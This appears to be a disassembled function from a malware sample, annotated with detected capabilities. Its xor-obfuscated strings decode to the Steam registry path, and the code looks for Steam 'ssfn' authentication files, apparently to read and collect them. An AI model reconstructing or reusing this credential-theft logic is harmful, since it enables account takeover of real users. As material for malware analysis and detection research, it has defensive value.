Function at 0x416de7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x71c
push ebx
push ebp
push esi
push edi
push 0x46
pop eax
xor esi, esi
mov dword [esp + 0x34], 0x594b5438
mov byte [esp + 0x38], 0x5c
mov ecx, esi
mov byte [esp + 0x39], al
mov edi, 0xff
mov dword [esp + 0x3a], 0x3b414a57
mov byte [esp + 0x3e], al
mov dword [esp + 0x3f], 0x414a5b51
mov word [esp + 0x43], 0x5938
mov byte [esp + 0x45], 0x4a
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0x52
movzx eax, byte [esp + ecx + 0x34]
add ax, 0x1b
and ax, di
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 0x14
jl 0x416e37
xor eax, eax
mov dword [esp + 0x24], 0xf8fcedca
mov word [esp + 0xd4], ax
mov ecx, esi
mov dword [esp + 0x28], 0xedf8c9f4
mov byte [esp + 0x2c], 0xf1
mov al, byte [esp + ecx + 0x24]
xor al, 0x99
movzx eax, al
mov word [esp + ecx*2 + 0x80], ax
inc ecx
cmp ecx, 9
jl 0x416e72
mov cl, byte [0x42b9c9]
xor eax, eax
mov word [esp + 0x92], ax
xor cl, 0xdb
mov al, byte [0x42b9b6]
mov edx, 0x1658
xor byte [0x42b9a9], 0xc6
and al, 0x16
mov byte [0x42b9c9], al
movzx eax, byte [0x42b9f0]
imul eax, eax, 0x9d
mov byte [0x42b9c8], cl
push 0x400
mov byte [0x42b9b6], al
movzx eax, cl
add cl, 0x1b
sub ax, dx
mov byte [0x42b9f0], cl
mov word [0x42b9e0], ax
lea edx, [esp + 0xb0]
lea eax, [esp + 0x32c]
mov ecx, 0x80000001
push eax
lea eax, [esp + 0x88]
push eax
call fcn.00422fa1
add esp, 0xc
test al, al
je 0x4175c2
mov ax, word [0x42b9e4]
mov ecx, 0x3474
xor ax, cx
mov edx, 0xeeb55893
mov word [0x42b9e0], ax
xor ecx, ecx
imul eax, eax, 0x5109
inc ecx
mov word [0x42b9e4], ax
mov al, byte [0x42b9f0]
and al, 0x8c
mov byte [0x42b9a9], al
lea eax, [esp + 0x328]
push eax
call fcn.0041568d
call eax
mov cl, byte [0x42b9e0]
or cl, 0xcc
mov byte [0x42b9c9], cl
cmp eax, 0xffffffff
je 0x4175c2
test al, 0x10
je 0x4175c2
mov dword [esp + 0x1c], 0x1d322d64
mov ecx, esi
mov byte [esp + 0x20], 0x6b
mov al, byte [esp + ecx + 0x1c]
xor al, 0x41
movzx eax, al
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 5
jl 0x416f84
xor eax, eax
mov dword [esp + 0x10], 0xf261fd8
mov word [esp + 0x62], ax
mov ecx, esi
mov dword [esp + 0x14], 0x19212216
mov word [esp + 0x18], 0x1a1c
movzx eax, byte [esp + ecx + 0x10]
add ax, 0x4d
and ax, di
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 0xa
jl 0x416fb8
xor eax, eax
mov ecx, 0x7e54
mov word [esp + 0xa8], ax
movzx eax, byte [0x42b9f0]
imul eax, eax, 0x74
mov byte [0x42b9c8], al
movzx eax, byte [0x42b9f0]
add ax, cx
mov word [0x42b9bc], ax
add eax, 0xffffbc20
mov word [0x42b9e4], ax
lea eax, [esp + 0x328]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.0042318b
mov bx, word [0x42b9bc]
mov ebp, eax
or byte [0x42b9f0], 0x7c
mov eax, 0x39af
pop ecx
pop ecx
lea ecx, [ebx + 0x4a]
mov dword [esp + 0x1c], ebp
mov byte [0x42b9c8], cl
mov cl, byte [0x42b9a9]
movzx edx, cl
add dx, ax
test ebp, ebp
je 0x4174a7
mov eax, 0x7afe
mov edx, 0x54e1cc7b
sub bx, ax
movzx eax, cl
imul eax, eax, 0x5b
xor ecx, ecx
mov word [0x42b9e4], bx
inc ecx
sub bl, 0x28
mov byte [0x42b9f0], bl
mov byte [0x42b9c8], al
mov eax, 0x466d
add ax, word [0x42b9e0]
mov word [0x42b9bc], ax
lea eax, [esp + 0xd8]
push eax
push ebp
call fcn.0041568d
call eax
mov cl, byte [0x42b9e4]
mov edx, 0x17299c7b
sub cl, 0x2b
mov ebp, eax
mov byte [0x42b9c9], cl
xor ecx, ecx
inc ecx
call fcn.0041568d
movzx ecx, byte [0x42b9a9]
mov dword [esp + 0x4c], eax
mov eax, 0x14d3
sub cx, ax
mov word [0x42b9e0], cx
cmp ebp, 0xffffffff
je 0x41747a
movzx ecx, byte [0x42b9c8]
mov eax, 0x6329
or cx, ax
mov word [esp + 0x30], 0x7474
mov al, byte [0x42b9e4]
or al, 0x53
mov word [0x42b9e0], cx
mov byte [0x42b9a9], al
push 0x2e
pop eax
mov word [esp + 0x48], ax
mov edx, esi
xor eax, eax
push 0x46
mov word [esp + 0x4e], ax
pop ebx
movzx eax, byte [esp + edx + 0x30]
sub ax, bx
and ax, di
mov word [esp + edx*2 + 0x50], ax
inc edx
cmp edx, 2
jl 0x417120
xor eax, eax
xor cl, 0xb1
mov word [esp + 0x54], ax
movzx eax, cl
mov byte [0x42b9f0], cl
mov ecx, 0x58f3
and ax, cx
mov ecx, 0xcba4
mov word [0x42b9e4], ax
movzx eax, byte [0x42b9c9]
or ax, cx
mov word [0x42b9bc], ax
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x108]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417420
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x108]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417420
movzx eax, byte [0x42b9f0]
mov ecx, 0xf072
mov dl, byte [0x42b9bc]
and ax, cx
mov word [0x42b9bc], ax
mov ecx, 0xb3e
movzx eax, byte [0x42b9a9]
or dl, 0xec
sub ax, cx
mov byte [0x42b9c8], dl
test byte [esp + 0xd8], 0xa7
mov word [0x42b9e0], ax
je 0x41742c
mov al, byte [0x42b9c9]
mov ecx, 0x1337
and al, 0x2f
mov byte [0x42b9b6], al
movzx eax, byte [0x42b9c9]
sub ax, cx
mov ecx, 0x5301
mov word [0x42b9bc], ax
xor al, 0x4f
mov byte [0x42b9a9], al
movzx eax, dl
add ax, cx
mov word [0x42b9e0], ax
lea eax, [esp + 0x104]
push eax
call fcn.0040581e
pop ecx
cmp eax, 4
jb 0x41742c
push 0x73
pop ebx
cmp word [esp + 0x104], bx
jne 0x41742c
cmp word [esp + 0x106], bx
jne 0x41742c
cmp word [esp + 0x108], 0x66
jne 0x41742c
cmp word [esp + 0x10a], 0x6e
jne 0x41742c
mov dword [esp + 0x24], 0x406f7039
mov ecx, esi
mov word [esp + 0x28], 0x7039
mov byte [esp + 0x2a], 0x6f
mov al, byte [esp + ecx + 0x24]
xor al, 0x1c
movzx eax, al
mov word [esp + ecx*2 + 0x34], ax
inc ecx
cmp ecx, 7
jl 0x41728e
xor eax, eax
mov ecx, 0x70ce
mov word [esp + 0x42], ax
movzx eax, byte [0x42b9a9]
and ax, cx
mov word [0x42b9e4], ax
mov al, byte [0x42b9bc]
and al, 0x54
mov byte [0x42b9b6], al
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x32c]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0042318b
movzx ecx, byte [0x42b9b6]
mov ebx, eax
mov eax, 0x3ae9
add esp, 0xc
add cx, ax
mov word [0x42b9e4], cx
movzx ecx, byte [0x42b9c9]
imul edx, ecx, 0x1a
mov byte [0x42b9c8], dl
test ebx, ebx
je 0x41742c
mov dword [esp + 0x10], 0xeeeafbdc
mov ecx, esi
mov dword [esp + 0x14], 0xe3aaa0e2
mov byte [esp + 0x18], 0xfc
mov al, byte [esp + ecx + 0x10]
xor al, 0x8f
movzx eax, al
mov word [esp + ecx*2 + 0x64], ax
inc ecx
cmp ecx, 9
jl 0x41732e
xor eax, eax
mov ecx, 0x1afb
mov word [esp + 0x76], ax
add dl, 0x55
mov al, byte [0x42b9a9]
and al, 0xa6
mov byte [0x42b9b6], dl
mov byte [0x42b9c8], al
movzx eax, byte [0x42b9c9]
or ax, cx
mov ecx, 0x4ee0
mov word [0x42b9bc], ax
movzx eax, byte [0x42b9f0]
add ax, cx
mov word [0x42b9e4], ax
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x68]
push eax
call fcn.0042318b
pop ecx
pop ecx
mov cl, byte [0x42b9c9]
mov edi, eax
and cl, 0xb0
mov byte [0x42b9f0], cl
test edi, edi
je 0x417406
mov al, byte [0x42b9b6]
add cl, 0x3e
and al, 0xfe
mov byte [0x42b9c9], cl
mov byte [0x42b9f0], al
mov edx, edi
mov al, byte [0x42b9e0]
mov ecx, ebx
or al, 0x47
mov byte [0x42b9c8], al
mov al, byte [0x42b9bc]
or al, 0x11
mov byte [0x42b9a9], al
call fcn.0041e300
mov cl, byte [0x42b9b6]
mov al, cl
and cl, 0x86
and al, 7
mov byte [0x42b9a9], cl
push edi
mov byte [0x42b9c8], al
call fcn.004056f0
pop ecx
mov al, byte [0x42b9b6]
xor al, 0x7a
push ebx
mov byte [0x42b9a9], al
call fcn.004056f0
pop ecx
mov edi, 0xff
jmp 0x41742c
mov al, byte [0x42b9b6]
add al, 0x70
mov byte [0x42b9f0], al
lea eax, [esp + 0xd8]
push eax
push ebp
call dword [esp + 0x54]
test eax, eax
je 0x417449
mov cx, word [0x42b9e0]
jmp 0x41710c
mov cl, byte [0x42b9c9]
mov edx, 0x83fbc401
movzx eax, cl
or cl, 0x30
imul eax, eax, 0x4e
mov byte [0x42b9f0], cl
xor ecx, ecx
push ebp
inc ecx
mov byte [0x42b9b6], al
call fcn.0041568d
call eax
mov cx, word [0x42b9e0]
mov al, byte [0x42b9c8]
push dword [esp + 0x1c]
and al, 0x2e
xor al, 0x82
mov byte [0x42b9c9], al
mov eax, 0x8fd
add ax, cx
mov word [0x42b9bc], ax
call fcn.004056f0
mov dx, word [0x42b9e4]
pop ecx
movzx ecx, dx
mov eax, 0x6945
imul ecx, eax
mov eax, 0xa732
add dx, ax
lea eax, [esp + 0x328]
push eax
lea eax, [esp + 0x98]
mov word [0x42b9e4], dx
push eax
mov word [0x42b9e0], cx
call fcn.0042318b
mov dl, byte [0x42b9a9]
mov edi, eax
pop ecx
pop ecx
mov eax, 0x68cc
xor word [0x42b9e0], ax
lea ecx, [edx + 0x15]
mov byte [0x42b9b6], cl
test edi, edi
je 0x4175c2
mov dword [esp + 0x10], 0x90d1c3b
mov ecx, esi
mov dword [esp + 0x14], 0x70b4705
mov dword [esp + 0x18], 0xf010e06
mov al, byte [esp + ecx + 0x10]
xor al, 0x68
movzx eax, al
mov word [esp + ecx*2 + 0x64], ax
inc ecx
cmp ecx, 0xc
jl 0x41751e
xor eax, eax
mov dword [esp + 0x1c], 0x4b590105
mov word [esp + 0x7c], ax
mov byte [esp + 0x20], 0x49
mov al, byte [esp + esi + 0x1c]
xor al, 0x2f
movzx eax, al
mov word [esp + esi*2 + 0x10], ax
inc esi
cmp esi, 5
jl 0x417546
xor eax, eax
or dl, 0x18
mov word [esp + 0x1a], ax
mov ecx, 0xc018
movzx eax, dl
or ax, cx
mov byte [0x42b9c8], dl
mov word [0x42b9e0], ax
lea edx, [esp + 0x64]
or eax, 0x7d37
mov ecx, edi
mov word [0x42b9bc], ax
lea eax, [esp + 0x10]
push 1
push eax
call fcn.0041db09
mov dl, byte [0x42b9c8]
mov eax, 0xcde0
movzx ecx, dl
add dl, 0x5c
imul ecx, eax
push edi
mov byte [0x42b9f0], dl
mov word [0x42b9e0], cx
call fcn.004056f0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x71c
ret